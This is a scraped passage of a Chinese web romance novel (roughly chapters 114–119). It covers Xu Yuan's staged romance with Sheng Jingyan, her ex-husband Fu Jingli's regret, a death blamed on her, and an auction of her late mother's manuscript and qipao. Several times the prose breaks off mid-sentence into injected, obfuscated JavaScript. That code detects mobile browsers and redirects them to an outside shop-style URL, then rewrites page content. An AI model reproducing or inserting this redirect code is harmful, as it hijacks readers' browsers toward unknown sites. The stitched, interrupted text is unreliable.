许愿抬头看向正在吃苹果的盛景炎,温柔地笑了,盛景炎听到这些也并不生气,一副我有底气的模样。 确实,当一个女人说爱他的钱财权力身份地位的时候,只有那些自卑的底层人会满口酸话嘲讽女性势力,若是有得选,她们自然也愿意拥有这一切。 “他 不仅给了我你曾经能给我的东西,他甚至为我提供了情绪价值。” “我要风,要雨,要星,要月,要阳光,要浪漫,要陪伴,要温柔,要深情,要唯一。” “而盛景炎,他带我看风看雨,赏星与月,他陪着我给了我想要的浪漫陪伴,他温柔深情的待我,而不是我温柔深情的付出,他承诺只有我一个,在这段感情中不会有其他任何人插足,他用爱滋养了我,傅总你呢。” 他能给的,除了金钱,权力,地位,其他这些虚无的东西他全都无法提供给许愿,更不要说许愿说的深情和唯一。 “你说我矫情,说我像个文科生无病呻吟爱做梦。” 许愿低笑:“所以啊,我做了三年的梦,梦醒了,却找到一个告诉我这一切不会是梦,为我构建未来的爱人,我不选择他还能选择谁呢?” 说到这里,许愿一颗新的苹果已经削完,她礼貌性的开口:“傅总,要吃苹果吗。” “傅总不爱吃苹果。” 盛景炎握住许愿的手腕,笑吟吟的:“喂我吃?” 第114章 爬床 盛景炎这人,惯会顺杆儿爬。 许愿肯给他切水果,他就能得寸进尺的要求她喂他吃,眼睛里都还带着几分小讨好。 眼前这人明明是个狐狸一样狡猾的人,但此刻却露出这样可爱讨巧的模样,倒像是一只可爱的让人想要挼毛捏脸的小猫小狗。 许愿觉得指尖有点轻微的发痒发热。 她面上不显什么,兀自将苹果切在水果盘中,用牙签叉起一块喂到他嘴边。 盛景炎笑着咬进嘴里,还不忘手握住她的揉捏了下,故意撩拨。 “阿愿,你喂的更甜。” 傅京礼面无表情的看着这一幕,盛景炎满脸笑意的开口:“傅总,如果您也喜欢吃苹果,可以自己削来吃。或者……傅总有另一位许秘书照顾,也不需要品尝阿愿买来的苹果,想来是不合傅总口味的。” 傅京礼眸色淡漠,凉凉的看了盛景炎一眼,而后从果篮中拿起一个红透的苹果清洗后也没有削皮,面无表情地咬了一口。 苹果甜吗? 他却只感觉到苦。 苦,苦到舌尖都已麻木,苦到血液的流速都在减缓。 盛景炎脸上的笑意分毫不减,他其实还沉浸在许愿说的那段话中。 许愿那样夸他,即便他知道那一切都是许愿刻意编造出来的谎话,却还是心尖颤动。 “许愿。” 傅京礼看着许愿开口:“你确定盛景炎是爱你的吗?他难道不是贪图你的美色。” 盛景炎笑意减了几分,眼底都是凉薄之意。 “那你为什么不认为是我贪图他的美色呢。” 许愿低笑:“更何况,我们都是成年人了,成年人的爱情才是最真实的,我们只要互相忠于对方、能陪伴彼此就够了,至于真正的爱……傅总,你都不能给我的东西,你要求盛景炎给我吗?” “还是,傅总把现实看做了童话故事。” 她已经算是非常明确的告诉傅京礼,她和盛景炎之间的感情,即便没有爱,但绝不会有背叛。 “阿愿,这样说我就要生气了,我那么喜欢你,怎么能说我不爱你呢。” 盛景炎拿掉衣襟上的纸巾,擦拭着自己的嘴唇,眼尾都带着几分笑:“我可是非常在意你的。” 他在演。 傅京礼能看得出来,许愿自然也能看出来。 可许愿不拆穿他,甚至配合他。 许愿靠近病床,盛景炎主动拉住他的手,将他抱入怀中,捧着她的脸深深地凝视许久。 “阿愿,你要相信我是真心的。” 此刻这样看着她,仿佛怎么都看不够。 两人之间的气息仿佛都已经缠绕到一起,暧昧纠缠。 傅京礼走出病房,站在长廊的阴暗处,望着两人彼此相望的一幕,即便知道这两人没有什么真情实感,但内心的酸涩之意还是不停升腾。 这场赌约,是他输了。 傅京礼靠在冰冷的墙面上,握紧手机,缓缓闭上眼眸。 “后悔了吗?” 到了给盛景炎换药检查的时间,江惊蛰手中拿着病历本,随着他的动作靠在墙面上,淡淡的开口。 后悔。 有后悔吗。 他干涩的开口:“我不懂。” 傅京礼抚摸着自己酸涩的心口,那种心口像是被人用刀剑戳开一般,划开了千万个密密麻麻的伤口。 那种细密的疼痛感,不是猛然呼啸而来的,像是有数万只蚂蚁钻进心口啃噬。 他不懂。 江惊蛰捏了下有些疲惫的眼睛,“对,你一向不懂这种感情,那你痛吗。” “看到许愿和盛景炎在一起心痛吗,看到他们亲吻心痛吗。” 江惊蛰看着他,扶了下鼻梁上的眼镜:“如果心痛,那你就是爱她的。” 爱? 傅京礼像是有些迷茫。 他不懂这种诡异的感觉就是爱吗,难道不是占有欲作祟吗? 他目光仍然望向病房内,许愿面对盛景炎时一直都是带着笑的,他们相处得融洽又和谐,哪怕是他也要夸一句真般配。 可她明明该是他的女人。 他在内心念着她的名字。 许愿。 爱她吗? 不,不该是爱的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618068|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 傅京礼眸光晦暗,脑海中闪过的是另一张眼尾弯弯含笑的女孩面容。 那张脸逐渐跟现在的许愿重叠,他觉得自己是恍惚到发疯了。 那个女孩……是许宁才对。 傅京礼握紧手机一言不发的离开,只留下萧瑟孤独的背影。 医院内的灯光冰冷刺眼,照在傅京礼的身影上,投射在光滑地面的影子都是孤寂的。 江惊蛰垂眸,似是无奈。 “失魂落魄成这样都不算爱,那什么才算是爱?” 江惊蛰进了病房,也没问跟傅京礼有关的事,换完药检查完伤口就离开。 其实他看得真切,现在的许愿对盛景炎已经有在乎的感觉了,如果傅京礼还要持续犹豫,许愿迟早有一天会真正属于盛景炎。 江惊蛰离开后,病房的门被关上。 盛景炎摁着手机给傅京礼发了条信息,让他尽快 将胡浩押回去,对面没有回复,他也没有放到心上。 重新摁灭手机,就见许愿已经坐在床头的椅子上在看文件。 “拿我当借口随便利用?” 盛景炎随口问了句,还不忘拍拍病床旁边的位置:“要上来吗?” 云尚本就是贵族医院,说是病房倒不如更像是豪华酒店里的套房,病床睡四个人都有余。 许愿翻了页资料,声音淡淡的:“我们现在的关系,爬床……不好吧。” 盛景炎失笑:“我们现在的关系不好吗?我都陪你看风看雨赏月了,趟一张床怎么了。” 他指了指自己缠绕着纱布的伤处:“我都这样了,就算是想发疯,怕是也疯不起来。” 这话倒是真的。 许愿这次没再拒绝。 她靠在一旁,翻看着厚厚一叠资料,这些资料是陆斯年重新传给她的,有关于即将到来的金融峰会相关的的合作资料。 盛景炎指尖点了点许愿的文件,开口:“许愿,我们来玩个游戏。” 他的双手捧住许愿的脸,垂眸温柔的看着她,几乎眼睛里面装盛的都是她。 “如果我赢了,以后你就不能再想着傅京礼,怎么样?” 第115章 凶手是许愿 听到盛景炎这样说,许愿微微挑了下眉,像是在思考一般,眼尾都向上微微挑动。 她拍掉男人的手,偏过头继续看文件。 “为什么认为我还在想着他?” 这次是以a市为主举办的世界级金融峰会,来参加峰会的都是各国有名的企业,都是来金融峰会寻求合作机会的,许愿自然也看中了几个项目想要竞标成功。 “两天后是拍卖会,再过一段时间是金融峰会,一个月后又到了本届的高考时间,我还打算去趟实验一高。这么多事情堆积在一起,谁有时间去想他?” 许愿淡淡道:“我又不是没事做。” 虽然听到许愿这样说,盛景炎心里有点痛快,却还是忍不住开口:“那你岂不是也没时间想我了?” 这口吻,若非声音没那么幽怨,倒真有些像怨妇了。 许愿轻嗤一声,眉眼之间都带着几许波澜。 “盛景炎,你这么喜欢演还当什么总裁,去娱乐圈演戏多好?就你这演技,不出三年绝对能捧回一座小金人,你不当影帝都对不起你浑身的演技。” 这话也不知是在损,还是在夸呢。 “我倒是想呢,不过我长得这么好看,我还怕圈子里有人看上我,想潜规则我呢。” 盛景炎大言不惭。 许愿唇角都跟着抽了抽。 她合上文件,扫向盛景炎:“盛总,要点脸。” 见她合上文件,盛景炎抓住她的手放在自己脸上,带着她抚摸自己的侧脸,眼底都还藏着笑。 “许总在娱乐圈看到这么好看的小演员,难道都不会心动给我砸笔钱拍戏,或者养在身边吗?”盛景炎俯身凑过来,逐步逼近:“不过许总长成这样,就算许总一分钱不花,我也愿意倒贴的。” 他的笑意实在太明显。 这人是真的爱演,也不等许愿,自顾自开口。 “不过许总这种身份,总不会小气到一分钱都不肯花的吧?我这个小明星肯定能把许总哄开心,然后……让许总为我一掷千金,说不定还会给我来个盛大的求婚现场,让所有人都知道,哇,盛景炎这个小明星嫁入豪门了,发出阵阵赞叹。” “……” 许愿沉默。 她揉了揉眉心,似乎是觉得头疼。 缓了片刻,实在是有点不想理他。 盛景炎有那么点不依不饶的意思,许是因为从方才许愿拒绝了傅京礼这件事情上,多了那么点自信心。 见她不理自己,盛景炎搂住他的腰,绵绵密密地吻她脸颊和鼻尖。 倒也没有吻多久,只是像温柔的挑逗, 他满足地叹息着,指尖插入许愿的发丝,柔柔地抚弄她额前的碎发。 他低笑起来:“许总说话,为什么不回答我了。” 许愿偏头扫向他:“我在思考你这些年到底都看了多少狗血的言情小说剧本。” “也没看多少,只是闲得无聊,这种小白文总能给人点慰藉。” 盛景炎看她,开口带着点笑的问:“你不觉得我这种人的身世,就特别像小说里的男主角色吗?” 他还挺敢想的。 “像大反派。”许愿淡淡的回他。 说完,还不忘给他来一句堵心的话:“傅京礼那种性格的,才像是总裁文里的男主。” 盛景炎笑意逐渐加深,他抚弄着许愿的掌心,然后十指交叠相扣。 “那也挺好,我这个大反派打败了主角,带走了属于主角的小公主,挺完美的结局,反派喜欢。” 都这种时候了,他还能开口哄着许愿。 许愿当然能听出他哄小孩似的口吻,见他又俯身想吻自己,许愿偏头捂住他的嘴:“盛景炎,你怎么总是亲不够。” 被她伸手捂住嘴,盛景炎眼底还带着笑,微微张唇咬了咬她的指尖,开口:“看到你就有些忍不住。” 许愿有些无奈,她其实觉得盛景炎有点黏人。 不过这种感觉是不错的,让她有种自己其实是被人完全放到心里的错觉。 “好了,说正事,你要玩什么游戏。” 盛景炎挑了下眉开口:“许镇江最近利用傅京礼的人脉,给许宁背后建立了一家新公司。” 许愿顿了下,看着他表情有些凝重。 “你想说什么?” “这家公司因为有傅氏的加持,已经变得有模有样,用来开一家新的分公司似乎还不错。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618069|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “要来试试看谁先收购这家公司吗。” 盛景炎唇角带笑的提议。 看似是想针对许宁和许镇江,其实又何尝不是针对傅京礼? 他就是耍着小心思告诉许愿,发生了那么多事,傅京礼还是要护着许家护着许宁。 在傅京礼心里,他在意的一直都是许宁。 所以盛景炎最初就说了,玩个游戏,他赢了就不许她再想傅京礼。 许愿本就不打算许家有任何崛起的可能。 她眼底散发着明显的冷意。 “你多虑了,这场游戏不论输赢,我都不会再想着他。” 盛景炎的阴谋得逞了。 他就是要让许愿知道,傅京礼不配。 过 了不久,江惊蛰要跟许愿谈点事,便把许愿叫去了办公室。 盛景炎眸色晦暗的打给傅京礼,开口:“傅总,你输了,该兑现承诺了。” “我输了。” 手机另一端的傅京礼嗓音沙哑,眸色发红。 “对,傅总你输了,所以该把胡浩送回原位。”盛景炎声音冷淡。 “输了就要认。”盛景炎冷笑道。 “我知道。” 傅京礼挂断电话,他不想听到盛景炎带着点炫耀的声音,他会克制不住内心那种酸涩感。 “阿浔,让人把胡浩放回去。” 傅京礼这次没打算再护着傅长海,输了就是输了。 容浔没有多问,打了通电话下去,待听到对面说了什么后眸色顿时冷凝起来:“你说什么?好,我知道了,我会报给傅总。” 容浔挂断电话。 “傅总,胡浩死了。” 傅京礼听到这句话,有片刻的恍惚。 胡浩,死了? 那他要从哪里给许愿找个胡浩还回去? 是傅长海做的吗? 知道胡浩在他手中,所以着急销毁证据。 傅京礼沉默的点了根烟抽着,久久不语。 “死在什么地方。” 容浔默了片刻,开口:“死在许愿最开始安排的医院,具体死因还不清楚,但是死前留下一份遗书,直指凶手是许愿。” 第116章 拍卖会 直指凶手是许愿? 是真的狠。 如果真的是傅长海做的,可能他从一开始就没想放过许愿,又或者是猜到他们会护着许愿,不会让事情闹大。 不论是傅长海还是许愿,他都不希望这两人出事受伤。 “把这件事遮掩过去,胡浩死于车祸,急救后身亡。” 胡浩因那场车祸确实伤得很重,不治身亡,不算谣言。 容浔默了片刻,转身离去,为傅长海清扫证据。 说是为了许愿,其实也是为了傅长海。 傅长海做的事,许愿一概不知。 趁她在医院,江惊蛰给她做了详细的身体检查。 她的身体在缓慢恢复,江惊蛰翻看病历本,面上表情有些满意。 “看来我开的药,你都听话的喝了。” “江医生开的药,哪敢不喝。” 许愿笑了笑:“没有别的事,我就先回去了。” “等等。” 在她脚步即将踏出时,江惊蛰叫住她。 许愿不解回头。 “许愿,我有点事想跟你谈一谈。”江惊蛰表情严肃。 他面对许愿一直都是表情温和眉眼温润的,从不会像此刻这般严肃。 许愿以为他是真的有非常重要的事情,整个人顿了下,点了点头。 “你想说什么。” “阿礼他,有些痛苦。” 他提到傅京礼时,还在观察着许愿的表情,担心许愿听到傅京礼会抵触反感。 许愿听着有些想笑,她抬眸,对上江惊蛰平和却认真的目光,开口。 “江医生,你是为傅京礼来当说客的吗?” “在我这里,傅京礼从未后悔,他甚至……亲口说不会爱我。” 许愿垂下眼睫轻笑。 “而且,我以为江医生应该能够理解我,你那么能跟女性共情,为什么还要叫住我,对我说一些明知道我会拒绝反感的话。” “傅京礼已经让他的情人重回傅氏,他守护着他的情人,满心满眼都是许宁,你却告诉我他后悔了。” “江医生,这听着像个笑话。” “其实你对我说这些,无非是站在傅京礼的立场,想让我知道这些。可不管傅京礼是不是真的痛苦,造成如今局面的罪魁祸首,难道不是傅京礼吗。” “我已经找到了新的爱人,你却告诉我前夫为此在痛苦,你又希望我如何回答呢?” 江惊蛰一时哑口无言。 他其实一开始就清楚许愿不喜欢这个话题,但是看到傅京礼为此伤心,他还是没有控制住开口。 江惊蛰看着因为傅京礼却升不起波澜的许愿,她面上仍然带着笑,像是真的跟傅京礼已经毫无关系。 “抱歉,是我的问题。” 许愿只是轻笑。 “我可以理解的。” 傅京礼是江惊蛰的朋友,他想为自己的朋友说句话,是人之常情。 “江医生还有其他事吗?” 江惊蛰顿了下:“其实我想说,盛景炎的伤并没有那么重,你不必一直陪在盛景炎身边照顾他。” “或许盛景炎受伤确实会痛,但是他更多的是演出来的。” 显然,许愿拒绝回到傅氏并且打算留在医院照顾盛景炎的事情,江惊蛰也已经听说了。 许愿低头拨弄着自己的手机,似乎觉得这句话也挺有意思的。 “江医生。” “有没有可能这是我们之间的情趣?我很想照顾他,我也很喜欢看他这样演戏。” “最后……你还记得我和盛景炎之间是什么关系吗。” 江惊蛰沉默了。 盛景炎现在是许愿的爱人,所以那句话实在多余。 “这句话,你不该问的。” 江惊蛰温和的语气中带着几分愧疚:“抱歉。” “不必道歉,我清楚江医生是为我考虑的。” 江惊蛰提到这些,也是担心她再次恋爱脑,陷进一段新感情中出不来吧。 许愿眸光深了几分,见江惊蛰没有其他话要说,方才转身离开。 回到病房时,盛景炎已经在翻看拍卖会的相关资料。 这次拍卖会的举办方,照旧是a市上流圈层特定的博雅商业举办,而许愿的母亲苏青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618070|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莲的手稿则被放在最后,算是这次的压轴之作。 博雅早已宣传预热,并放出苏青莲手稿会是压轴拍品的事,国内外与全息相关的企业纷纷赶来。 其实这些人清楚苏青莲十年前的手稿或许已经跟不上时代脚步,他们研发的可能早就超越苏青莲的,但是这份资料是具有收藏价值的。 最重要的,是这群人确实是抱着一丝幻想,想着……若是十年前的苏青莲真的写了更先进的代码,那他们的研究也会更进一步。 看到那份要来参与此次拍卖会的名单,均是业内有头有脸的人物。 看来傅长海想要拿到这份资料,确实要大出血了。 “这次的拍卖会,需不需要我陪你一起去。” 盛景炎想得周到。 他们两人的恋情已经在圈内传开了,他现在车祸重伤势必不能参加拍卖会,陆斯年代表的是盛 华,他暂且还不能跟许愿明面上有过多的接触,以免引起有心人的警惕心,薛酒就更不必说了。 “我担心拍卖会上你会受委屈。” 许愿眉眼微挑,坐在他身边翻阅了下拍卖会的资料。 “谁能让我受委屈?” 许愿收走拍卖会的文件,省得盛景炎看过又要想更多。 …… 夜幕降临,城市的霓虹灯开始闪烁。 a市最繁华的市中心,所有的光芒都汇聚到一座宏伟的建筑上。 这是本次拍卖会的举办地——一座融合了古典与现代风格的殿堂式建筑。 它坐落在一片精心修剪过的草坪之上,周围环绕着精致的花坛和整齐排列的树木,营造出一种贵族式的优雅氛围。 建筑的主体采用浅灰色的石材砌成,表面雕琢着精美的花纹,仿佛在诉说着过往岁月的故事。 入口处的两根巨大的大理石立柱,如同守护神一般矗立,它们之间悬挂着一块巨大的招牌,上面用金色的字体写着“博雅拍卖行”,字体流畅而典雅,透露出一种高贵的气息。 门前铺设着一条长长的红地毯,一直延伸到建筑内部,两侧点缀着精致的灯笼,灯光都是温暖的颜色,散发柔和的光晕。 第117章 手稿拍卖 拍卖会外的灯笼上都画着一幅幅精美的画作,这些画作在微风中轻轻摇曳,给整条道路增添了几分艺术的气息。 宾客们陆续抵达,此次多是为了苏青莲的手稿而来,三三两两的聚集在一起谈论手稿相关的事,这些人面上笑得和善,但心里都清楚对方是此次拍卖会上的劲敌。 夜色下的拍卖行犹如一颗璀璨的明珠,散发着柔和而迷人的光芒。 宾客们穿过大门后,随即被眼前的景象所震撼——一个宽敞明亮的大厅展现在眼前,高高的穹顶上绘制着精美绝伦的壁画,灯光从隐藏的角落洒下,与穹顶上的图案相映成趣,形成一种神秘而庄重的氛围。 地面铺着厚实的波斯地毯,色彩斑斓,图案复杂,似乎每一步都能踏出历史的回音。 地毯中央是一条通往拍卖区的通道,两侧摆放着精心挑选的艺术品。 拍卖区位于大厅的正中央,拍卖师站在台上,他身穿笔挺的西装,目光锐利而自信,手持一根精致的木槌,显然拍卖会即将开始。 宾客纷纷入座,等待着拍品一件件被搬到拍卖台上。 许愿今晚换了件红色的旗袍,候场的管理人员看到她都恭敬的点了点头,没人看到这一幕。 进入会场中心,有些人已经站起身与许愿打招呼,脸上都是欣赏之色,这些人里面有跟她合作谈判过的,亦有想跟她合作的。 她只是个女人,但是凭借着自己的实力已经到了如今高度。 哪怕不站在傅京礼身边,她仍然是耀眼的。 纠缠傅京礼带自己参加拍卖会的许宁眼神都跟着暗了暗,只要一想到那些人张口闭口的许秘书说的是许愿,对上她时虚伪到敷衍的笑,就心里喷涌升腾起难以言喻的怒气。 她死死盯着许愿,不曾移开目光。 许是察觉到她瞟过来的目光,许愿偏头冲她的位置淡淡扫了眼,而后面无表情的移开目光。 为了低调,她的座位并没有在第一排而选择了第三排。 她选择这位置没有其它原因,只因这位置旁边的人是傅长海的人。 她要亲眼看到傅长海那边花费重金,拍下一份没有用的资料。 拍卖会正式开始,台上的拍卖师兴致勃勃的讲解着每一件拍品,似乎是为了迎合这些外国人的口味,先上的多是一些国内特有的非遗珍品,没什么久远历史,最新精细雕刻制作的木雕,精美的双面绣,这些都引起了外国商人的兴趣,起先上台的拍品就已经激起这些人的兴趣。 气氛已经炒至高潮。 拍卖师激动的开口:“我知道各位都是为了苏女士的手稿而来,今天不止有苏女士留下的手稿,大家都知道苏女士不仅是一位优秀的科研人员,更是一位优秀的设计师,而今天我们现场还有一件苏女士生前亲手制作的旗袍!” 现场一片哗然。 谁不是为了苏青莲来的? 虽然有了苏青莲的手稿,但多一件旗袍好像也挺好。 众人对那件旗袍兴致勃勃。 许愿的脸色却在此刻陡然变黑。 她母亲亲手制作的旗袍,怎么会出现在这里! 许愿眸光犀利,抬眸的瞬间,正对上许宁幸灾乐祸笑吟吟的脸,她立刻知道了原因。 旗袍已经被叫价到三百万许愿举牌加价,苏青莲的旗袍,不能流落在外。 许宁远远的便看到许愿变冷的脸色,她撒娇似的摇晃着傅京礼的手臂。 “阿礼,我好喜欢那件旗袍,可不可以拍下来送给我。” 苏青莲的旗袍…… 傅京礼抿唇,并未回话,许宁眨着眼睛,满脸天真无邪:“阿礼,你是因为姐姐所以不想拍这件旗袍吗。” “姐姐她应该不会在意的。” 她其实已经有点摸清傅京礼的性格,他不愿承认自己对许愿的那些感情。 她提到这些,傅京礼一定会反驳,或者……为了证明他对许愿无意,然后为她拍下这件旗袍。 果然在她提到这些后,男人幽暗的眸愈发深沉。 “举牌加价。” 许宁笑吟吟的举牌加价,三百万加到五百万,六百万,一千万…… 这个价格仍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618071|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然有人加价。 傅京礼在圈内的地位是有目共睹的,已经没有人继续跟他争抢这件旗袍,唯有许愿仍然在跟价。 旗袍的价格已经上升到三千万,这个价格高了多少倍谁也不清楚,但许愿知道自己不能再加价了。 她在傅氏工作的三年,抛去她各种花销能留下的就是这些钱,再加价有可能会暴露自己的底牌,她只能忍下来。 许愿咬着下唇,到底还是没有继续拍下这件旗袍。 许宁内心嗤笑连连,眼底都是意色。 这件旗袍一直被放在许家,她就是故意要趁着这个时间将苏青莲的旗袍取出来捞一笔。 现在许家大不如前,不久前还被许愿狮子大开口要走一大笔钱,她现在手头拮据,自然要从别处想办法。 傅京礼这么有钱,当然不会在意这点小钱。 不仅能重新拿回旗袍还能拿回钱,顺便又让许愿吃瘪受了委屈,真是想想就要笑出声了。 许愿 握紧手机,目光一直落在许宁脸上,直到手稿被拿到台上,许愿才终于收敛情绪,目光放到台上。 这才是今晚真正的压轴拍品。 所谓的苏青莲手稿,其实就是一本a5大小的牛皮纸质的厚重本子,封面还能看到些许干涸的褐色血迹印在其上。 手稿才推出来,气氛再度被炒到高热状态,现场的宾客不停加价。 许愿垂眸坐在沙发上,听到身边被傅长海派来的人一次又一次的不停加价。 从底价一百万一路飙升到一个亿。 苏青莲,华国a市第一个提出要建立全息体系的角色,她的手稿必然十分珍贵。 所有人都清楚,但凡手稿中有重要的信息,真的能研制出全息,那以后一定能够十亿百亿的赚回来。 “两亿三千万!还有没有更高的价格!” 这是傅长海的下属最后拿出的高价。 现场没有人继续竞价。 拍卖师重复喊话三次。 最终一锤定音,苏青莲手稿的最终得主……傅长海。 第118章 苏逸的不正常 拍卖会结束。 许愿没有过多停留,即将离开会场时看到站在拍卖会现场招待宾客的少年。 少年身材消瘦纤长,眉眼之间都透着几分冷淡之意,只是脸上带着苍白的病气,可即便如此仍让人能透过那张冷峻的少年面容上察觉到几分坚韧之意。 苏逸? 他为什么会出现在这里? 他不是马上就要高考了? 许愿走过去,面上的冷意已经逐渐消散,只余温和,她着走到苏逸身边:“苏同学,你在勤工俭学吗?” 苏逸看到她时愣住了,尤记得许愿递给他那张名片时对他说过的话。 有事随时打给她。 这些天夜不能寐辗转反侧的时候,他的确有想过打给许愿求救,但也只是深夜自己最脆弱的时候才会有这种想法,一旦到了白天就会打起精神,总觉得自己是可以解决好一切的。 特别是最近,许愿也遭受了一场网络暴力,与金融投资相关的,他只是看着就猜到她一定经受了巨大的打击,所以他没有选择在这种时候继续麻烦许愿。 他想自己是可以面对那些风暴的。 直到苏正坤和苏浩天将事实摆到他面前,一次又一次的跟人谈替考的价钱。 从最初的一百万,涨到五百万。 a市不缺有钱人,风随便吹倒一个立牌砸下来的,就可能有家底殷实的二代。 而他,就成了被这些二代评价利用踏脚石。 被他视作可以改变自己命运的高考,也成了引他进入深渊的噩梦。 他期盼了那么久,为了不让苏浩天逼迫他停学,他篡改自己的年龄去夜场工作,为了能尽早离开这个家,他没日没夜的学习念书。 他想考出去,想逃脱苏家这个牢笼。 可他们就是要在他希望达成之际毁掉他的梦想,折断他的翅膀,让他像他们一样烂在泥里发烂发臭。 他不甘心,也不愿意,他明明有更好的前程。 所以在苏浩天和苏正坤真正找到他谈起替考时,他逃了,他给老师打电话请了长假。 他想逃到夜店躲起来,可是那地方都是圈内各种混子二代,随时有可能被苏浩天约见的那些人抓到,他不能回夜店,身上的钱也不算多。 他的钱多数都被苏正坤搜刮走,手头的钱只够他在a市郊区的筒子楼租一间房。 好在运气不错,以前在其他晚宴上当过侍应生,这次又有负责人给他发送了邀请,几个小时五千块,他现在这么缺钱是一定要来的。 这么高档的场所,来的人全都是金融圈的,不会有那些二代更不会有苏正坤和苏浩天。 可他完全没有想到,自己会在这里遇到许愿。 苏逸看着面前的女人。 她优雅美丽,温柔明媚,像是天边最耀眼的夺目红日,与他这种只配烂在泥地中的蛆虫全然不同,他甚至觉得自己的靠近有时都是一种玷污。 他甚至担心,自己的靠近会让苏家那些无赖缠上她,像吸血虫一样吸食她的鲜血。 苏逸喉头发堵,终究是忍下了倾诉的欲望。 “学姐,我只是听说这里的薪水比较高,只是在这里接待几个小时,我一年的学费都能攒够了。” 他扯了扯唇,面上是温润的笑。 到底是少年人,藏不住眼底的那抹渴求和忧伤。 他接待客人仿佛都成了习惯,怕是不知道勤工俭学过多少次。 若是往常她不觉得这是多大的事情,但现在……一个即将高考的考生不在家中复习休息,却出现在拍卖会现场接待客人。 这不正常。 许愿眸光微微暗了几分,她目光一直落在苏逸身上。 “苏同学,你要记住你是考生。” 苏逸愣了下点了点头。 “学姐那件事解决了吗?” 苏逸还是关心的问了句,看得出来他也是一直在关注许愿的。 许愿面上有几分欣慰之意。 “已经解决了,再过不久,你就能看到那场金融合作背后的百亿骗局。” 许愿低头看了眼时间:“时间不早了,我跟这里的经理打声招呼,你可以下班了,我送你回去。” 苏逸整个人都僵在原地,半晌不能动。 让许愿送他? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618072|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不想让许愿知道那些脏污事辱了她的耳朵,可真的坐了许愿的车,难道要让她送自己回许家?还是回那个乱糟糟的筒子楼。 她这样的人,生来就是要站在最耀眼的地方,那地方……不是她该去的。 苏逸抿了抿唇笑了笑。 “我自己回去就好,这么晚了,被人看到要说闲话的。” 大晚上的被开着豪车的女人送回家,让人看到嚼舌根被包也是有可能的。 许愿想到这一点,眸光都跟着闪了闪。 她看着面前的少年,到底没再坚持。 她离开了。 看着她纤细婀娜的背影,却能感受到十足的力量感,苏逸克制不住的去追寻她的背影。 倏地,已经走远的女人陡然转身,冲她绽放出笑容。 苏逸已经变得灰暗的眼神逐渐亮起来,仿佛是找到了几分生 的希望,直到许愿再次离开,他整个人愣在原地,仿佛已经失去寄托。 上车的许愿靠在车座上,驾驶座是盛景炎的助理姜瑜,她没有吃惊,只淡淡的瞥了眼便移开目光。 猜也知道是盛景炎吩咐来接她的,只是她现在没有心情想这些,满脑子都是苏逸瘦弱的身影。 不正常。 高考生这个时间出现在拍卖会做侍应生不正常,听到要被她送回家露出的惊慌之色不正常,面上的愁容不正常……一切都显得诡异。 他遭受了什么? 许愿眸色愈发深了,在姜瑜即将驱车离开时叫住他。 “先别开车,我有点事要做。” 姜瑜不问,全听她吩咐。 许愿一手遮住自己的眼,眼瞳却幽暗中带着几分寒意。 她心里其实已经有几分猜测,只是不敢深想,但…… 最好那一切不要是真的,否则,她一定不会放过许家人! …… 目光一直追随许愿的许宁早就注意到苏逸的身影,看到两人相谈甚欢的模样,许宁敛眉,唇角笑意加深。 呀? 苏家人不是一直在找那个小崽子吗。 竟然躲到这里了! 第119章 她连她自己都救不了 许宁虚虚的抚摸着自己耳朵上的红钻耳环。 心道,是时候要把他的消息发给苏家人了。 